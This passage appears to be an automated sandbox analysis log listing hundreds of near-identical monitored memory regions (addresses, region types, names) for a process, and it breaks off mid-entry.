"pagefile_0x0000000000460000" filename = "" Region: id = 11516 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11517 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11518 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11519 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11520 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11521 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11522 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11523 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11524 start_va = 0x124d0000 end_va = 0x129c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000124d0000" filename = "" Region: id = 11525 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11526 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11527 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11528 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11529 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11530 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11531 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11532 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11533 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11534 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11535 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11536 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11537 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11538 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 11539 start_va = 0x460000 end_va = 0x462fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 11540 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 11541 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 11542 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11543 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11544 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11545 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11546 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11547 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11548 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11549 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11550 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11551 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11552 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11553 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11554 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11555 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11556 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11557 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11558 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11559 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11560 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11561 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11562 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11563 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11564 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11565 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11566 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11567 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11568 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11569 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11570 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11571 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11572 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11573 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11574 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11575 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11576 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11577 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11578 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11579 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11580 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11581 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11582 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11583 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11584 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11585 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11586 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11587 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11588 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11589 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11590 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11591 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11592 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11593 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11594 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11595 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11596 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11597 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11598 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11599 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11600 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11601 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11602 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11603 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11604 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11605 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11606 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11607 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11608 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11609 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11610 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11611 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11612 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11613 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11614 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11615 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11616 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11617 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11618 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11619 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11620 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11621 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11622 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11623 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11624 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11625 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11626 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11627 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11628 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11629 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11630 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11631 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11632 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11633 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11634 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11635 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11636 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11637 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11638 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11639 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11640 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11641 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11642 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11643 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11644 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11645 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11646 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11647 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11648 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11649 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11650 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11651 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11652 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11653 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 11654 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 11655 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 11656 start_va = 0x460000 end_va = 0x46dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 11657 start_va = 0x470000 end_va = 0x476fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 11658 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11659 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11660 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11661 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11662 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11663 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11664 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11665 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11666 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11667 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11668 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11669 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11670 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11671 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11672 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11673 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11674 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11675 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11676 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11677 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11678 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11679 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11680 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11681 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11682 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11683 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11684 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11685 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11686 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11687 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11688 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11689 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11690 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11691 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11692 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11693 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11694 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11695 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11696 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11697 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11698 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11699 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11700 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11701 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11702 start_va = 0x6b0000 end_va = 0x6bffff monitored 